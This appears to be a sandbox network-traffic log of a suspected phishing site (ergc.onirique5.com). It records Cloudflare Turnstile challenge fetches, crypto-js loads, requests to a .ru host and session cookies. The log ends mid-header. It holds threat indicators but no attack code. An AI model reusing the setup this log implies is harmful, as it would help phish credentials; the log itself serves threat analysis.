Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ergc.onirique5.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ergc.onirique5.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/708f7a809116/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ergc.onirique5.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://ergc.onirique5.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=3vf29zJunkn9AaiagUN6qdrqhXo7_E78_VATYHzeuVQ-1742931069-1.0.1.1-LeZrOqNSvP6xtDCRpaHLqtlbUrOhrTnZlyYPpYSU2Jzdur.9gcXZxkYox0Ccc_75zTl2xeG7FBIw_xrjakOCJy59G5On8pjIKtJlJnQPHkU
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/9um0h/0x4AAAAAAAkvxTyKLHQmjib-/auto/fbE/new/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeReferer: https://ergc.onirique5.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/9um0h/0x4AAAAAAAkvxTyKLHQmjib-/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=9260d3b3580828c9&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/9um0h/0x4AAAAAAAkvxTyKLHQmjib-/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/d/9260d3b3580828c9/1742931072439/8oOOsJMz5m6_YFC HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/9um0h/0x4AAAAAAAkvxTyKLHQmjib-/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1508658919:1742927278:z_aNGfIfLJjNL8ToPFbBPCgzZQ4rbRYFaGlpBUN6bH0/9260d3b3580828c9/BY_vxH6VpaOP5P6jIcqv17hXoM8pj7JXYI3L_Hdm170-1742931069-1.1.1.1-offWZGlS9rStSq6f6Leqm08C4XvFX.Lxusrrk3quAb4skinp2uaDlLc5T783xEtU HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/d/9260d3b3580828c9/1742931072439/8oOOsJMz5m6_YFC HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/9260d3b3580828c9/1742931072442/a836546be4359a3b0afab9b29e38398851c8c190ee656f027c4bac33c1ac4dcc/dC1VA6lriOKnjfw HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/9um0h/0x4AAAAAAAkvxTyKLHQmjib-/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1508658919:1742927278:z_aNGfIfLJjNL8ToPFbBPCgzZQ4rbRYFaGlpBUN6bH0/9260d3b3580828c9/BY_vxH6VpaOP5P6jIcqv17hXoM8pj7JXYI3L_Hdm170-1742931069-1.1.1.1-offWZGlS9rStSq6f6Leqm08C4XvFX.Lxusrrk3quAb4skinp2uaDlLc5T783xEtU HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1508658919:1742927278:z_aNGfIfLJjNL8ToPFbBPCgzZQ4rbRYFaGlpBUN6bH0/9260d3b3580828c9/BY_vxH6VpaOP5P6jIcqv17hXoM8pj7JXYI3L_Hdm170-1742931069-1.1.1.1-offWZGlS9rStSq6f6Leqm08C4XvFX.Lxusrrk3quAb4skinp2uaDlLc5T783xEtU HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /kella$okngolxj HTTP/1.1Host: dt6mo.kdyukk.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://ergc.onirique5.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ergc.onirique5.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /kella$okngolxj HTTP/1.1Host: dt6mo.kdyukk.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /xRmONkR9H3tSwgZ6bakdPQM/ HTTP/1.1Host: ergc.onirique5.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://ergc.onirique5.com/xRmONkR9H3tSwgZ6bakdPQM/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InY0cUE0andORmRabjJZZ3g1RlpGZEE9PSIsInZhbHVlIjoidWdFVitKcnZRd3lPUU9SZHhBM282ZWtxbE5zaVZpYmxpaHluU3hTWlRXOGtURFhwNnRFSkhvN0JnUk5lQkk1eUx4c0dSOXVsZ1ZDeDZOMWFIcDBaTS9aV0RqYWRFRnd5ZUdyQW8rOXFXWjVPSXA3QllEU0hXNEZLV1NNYWlqRkMiLCJtYWMiOiI3MzQ2NmQyZGM0MmM3NjA5NDA1MmQyYzQ4ZDIxZTc1MTY5MWE1M2QzYzNjMDQ1ODk1Y2Q1MjhlMmMzMGY0OTkwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik9wMStZeFByeUtkZzFyWGVUNjg4NVE9PSIsInZhbHVlIjoic0pNZHR3Tlg1aHV5S0ZCT25RZzJvUHVLRlp0SWV1bDJLNVlQakQ5N0xEMDYyVFFTVWVjV1RWdjRrWGdYNGJaTCtBVzBORjRSdFFBanY1WHFhTi80RElqTkJrU05INEZHRUl1WFQ4VmhsMFZqdFc5OFQ0VEtyTy9vc2VvaWRmbjYiLCJtYWMiOiI5ZTA3MmFlZmU0Mjc5ZDM3ZTc4MGFhNWEyZWRiMjRiOTY2YzVkMjU1NmEyODk4N2I4M2I1ODI4YzU2MjgzOWFkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /kmNcvetzL0K8NZyarX63n7r9a HTTP/1.1Host: ergc.onirique5.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InY0cUE0andORmRabjJZZ3g1RlpGZEE9PSIsInZhbHVlIjoidWdFVitKcnZRd3lPUU9SZHhBM282ZWtxbE5zaVZpYmxpaHluU3hTWlRXOGtURFhwNnRFSkhvN0JnUk5lQkk1eUx4c0dSOXVsZ1ZDeDZOMWFIcDBaTS9aV0RqYWRFRnd5ZUdyQW8rOXFXWjVPSXA3QllEU0hXNEZLV1NNYWlqRkMiLCJtYWMiOiI3MzQ2NmQyZGM0MmM3NjA5NDA1MmQyYzQ4ZDIxZTc1MTY5MWE1M2QzYzNjMDQ1ODk1Y2Q1MjhlMmMzMGY0OTkwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik9wMStZeFByeUtkZzFyWGVUNjg4NVE9PSIsInZhbHVlIjoic0pNZHR3Tlg1aHV5S0ZCT25RZzJvUHVLRlp0SWV1bDJLNVlQakQ5N0xEMDYyVFFTVWVjV1RWdjRrWGdYNGJaTCtBVzBORjRSdFFBanY1WHFhTi80RElqTkJrU05INEZHRUl1WFQ4VmhsMFZqdFc5OFQ0VEtyTy9vc2VvaWRmbjYiLCJtYWMiOiI5ZTA3MmFlZmU0Mjc5ZDM3ZTc4MGFhNWEyZWRiMjRiOTY2YzVkMjU1NmEyODk4N2I4M2I1ODI4YzU2MjgzOWFkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: ergc.onirique5.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ergc.onirique5.com/xRmONkR9H3tSwgZ6bakdPQM/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkFRTjB2dVJJUW9MY3R5QVd1Vmtla2c9PSIsInZhbHVlIjoiSUVlVEVGcXdzZHNBQ01IQTNGSTJjSituamI5YVh6M0xPWkUrazFyMEdydDRFcTNrQ3RNTE13UFU2M2Y4Y0llanl5UVVtd1piNWdnbUFJVlAyN0drbkFFV0E3UHl5dkU4U3Q1eWpEV3hVekc4Ri80b1ZTUmljeXczZUxGQ2dlU1AiLCJtYWMiOiJiNDZlMmNhZDYzZjBhNWI1ZjVhZTJiZTJkZTljOWU2YjZhZjM4ZGUwNmNkMGYxZjlmZjgzNTA2NDg0NDFiYzU2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBCTzFscW1QYndhM2YrSm1EWDZPR0E9PSIsInZhbHVlIjoiRHJ5M283WkdBdmMrUmxBN0JTdmM2UEQzT1dOQjlZeDhIZ2d2RVdtWGJEZENhNGZWMVBRRThNeDMwNlRJSXZrUksyeWJHTHpBeFplK2dwZFNmc3BJTGJzTXY4WTJicnl1U0JNQWt6RkNhMXpETFkrdkM4SFVyeGtNcVdKZW0vZGgiLCJtYWMiOiJhY2ZhZGJjYjFlNDMzZmRiMWRiZWJkYjIxMjRkOTM4ODQ2ZjQzOTc2ZTY5YzM3YWM3NWNlYTgyZDJiYzQ2NGRlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /zcGCRSr1y5xh9VHhh5qllUgtb5S64S6zwqyYXTYydfrtRiGSz4QFgy HTTP/1.1Host: ergc.onirique5.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImtUWHZzZTMxTnFRL3dzWjRSRXdaZWc9PSIsInZhbHVlIjoiZ201eXJPVWR6N3FKTnpKcmhKVjhZeC9xSG9qTy9nZ1dGOGNZTDhLNU96RkdHakNVeDN3SnUrdmIzdVptNXIzanhieEZhTTFXS0hCaGFBVnY0UWJiYzFoWndaVkFqTm9CRUFsZmhXYUNhbm5hRkJIQ2QyV242TnRzS0tPcG9rNnQiLCJtYWMiOiJkMTMyY2JjOTIzY2JhM2Q5OGFhYTMxZjU4ODUyOTVhZjYxYTc5MjY3NWNiYzI5ZjUxN2IwY2NmMTkzMzFlODA3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkdKekt1M1RzVGRDWWpYUCttN0xpQ3c9PSIsInZhbHVlIjoiNHRJdHo4T1N3YzFYWS9VRTV0bXRjMWhQeU1oZnZpc05lSThHWVltNzJUOStwVTdsUVdwQ1VnRTU2ZUQyQjdkOHlFY05udFZwblpBNWFvcVptNmVIU0c5T1FqMmt4OVZBUFlFOXVRUnIwVkNlbU5hMXpJZVR1eGlBbjBUOGVyWjUiLCJtYWMiOiJlZDYyZGU4ZTBmZDBlNjRmODRiYjIzMzQ2OWE1NjNjMThjYWU1ZmY4NzAzMGZlOTY2NWMxYmJmYTkyODYwYjA5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVW HTTP/1.1Host: ergc.onirique5.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://ergc.onirique5.com/xRmONkR9H3tSwgZ6bakdPQM/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImtUWHZzZTMxTnFRL3dzWjRSRXdaZWc9PSIsInZhbHVlIjoiZ201eXJPVWR6N3FKTnpKcmhKVjhZeC9xSG9qTy9nZ1dGOGNZTDhLNU96RkdHakNVeDN3SnUrdmIzdVptNXIzanhieEZhTTFXS0hCaGFBVnY0UWJiYzFoWndaVkFqTm9CRUFsZmhXYUNhbm5hRkJIQ2QyV242TnRzS0tPcG9rNnQiLCJtYWMiOiJkMTMyY2JjOTIzY2JhM2Q5OGFhYTMxZjU4ODUyOTVhZjYxYTc5MjY3NWNiYzI5ZjUxN2IwY2NmMTkzMzFlODA3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkdKekt1M1RzVGRDWWpYUCttN0xpQ3c9PSIsInZhbHVlIjoiNHRJdHo4T1N3YzFYWS9VRTV0bXRjMWhQeU1oZnZpc05lSThHWVltNzJUOStwVTdsUVdwQ1VnRTU2ZUQyQjdkOHlFY05udFZwblpBNWFvcVptNmVIU0c5T1FqMmt4OVZBUFlFOXVRUnIwVkNlbU5hMXpJZVR1eGlBbjBUOGVyWjUiLCJtYWMiOiJlZDYyZGU4ZTBmZDBlNjRmODRiYjIzMzQ2OWE1NjNjMThjYWU1ZmY4NzAzMGZlOTY2NWMxYmJmYTkyODYwYjA5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /12AxcSxy8Zd0CW8911 HTTP/1.1Host: ergc.onirique5.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImIrcDIzTm5wQjAwS29QUmxHMVlBdlE9PSIsInZhbHVlIjoiTFllcjE1Yi9qWlhneGlacnExN1NsclRJZkVvMTFLRUJZZC8yMDRKWlJxa0JYai9vNkpRLytTK0NHaENpdDhUdkNFQ3ZlOVpNUCtkcHZpRlRlQmZrUW5KUmFoRWNXYmpYRFdDN1lmRVk2WVBqR1YxYnE4VDVCM3RjSzdJRFNYNVgiLCJtYWMiOiJlZTc4NjhiMjY0ODBjOWFmMWJlYzczYzU3MDk1MmRmYmRhOTg0MGYxYTExMWE4OGZlZDBlNWRjOTA4YTIyZjRiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik1hdHdsY0kzVkFMS1hheENUV1AxdWc9PSIsInZhbHVlIjoiYkU2OTVNenpTT0Z1S2pYMkNYWVNLQis3MG9YWGk5ZnBndlY1VkU2ZXZlQzk4ZmpkbTVkRGtpbUNxQ09OWURoZ3dUMEptMVhURWwvVFhIRy9lZEUzaWlQQmVGNm1vS2hiL3ZQK3RoT2JJd01TM0M5bXBpYkhUeUJidW1QUUI5ZW0iLCJtYWMiOiJhNjZiZWExMzNkNTc0ZTM3MTg1ODVmOTFlYWQyNTI1YTE1NTc5YTFlOWYxM2ExNjIxZTdhNjNhNjUyOWY5MmQ5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /xywrJHwNlpqccd22 HTTP/1.1Host: ergc.onirique5.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImIrcDIzTm5wQjAwS29QUmxHMVlBdlE9PSIsInZhbHVlIjoiTFllcjE1Yi9qWlhneGlacnExN1NsclRJZkVvMTFLRUJZZC8yMDRKWlJxa0JYai9vNkpRLytTK0NHaENpdDhUdkNFQ3ZlOVpNUCtkcHZpRlRlQmZrUW5KUmFoRWNXYmpYRFdDN1lmRVk2WVBqR1YxYnE4VDVCM3RjSzdJRFNYNVgiLCJtYWMiOiJlZTc4NjhiMjY0ODBjOWFmMWJlYzczYzU3MDk1MmRmYmRhOTg0MGYxYTExMWE4OGZlZDBlNWRjOTA4YTIyZjRiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik1hdHdsY0kzVkFMS1hheENUV1AxdWc9PSIsInZhbHVlIjoiYkU2OTVNenpTT0Z1S2pYMkNYWVNLQis3MG9YWGk5ZnBndlY1VkU2ZXZlQzk4ZmpkbTVkRGtpbUNxQ09OWURoZ3dUMEptMVhURWwvVFhIRy9lZEUzaWlQQmVGNm1vS2hiL3ZQK3RoT2JJd01TM0M5bXBpYkhUeUJidW1QUUI5ZW0iLCJtYWMiOiJhNjZiZWExMzNkNTc0ZTM3MTg1ODVmOTFlYWQyNTI1YTE1NTc5YTFlOWYxM2ExNjIxZTdhNjNhNjUyOWY5MmQ5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff2 HTTP/1.1Host: ergc.onirique5.comConnection: keep-aliveOrigin: https://ergc.onirique5.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: 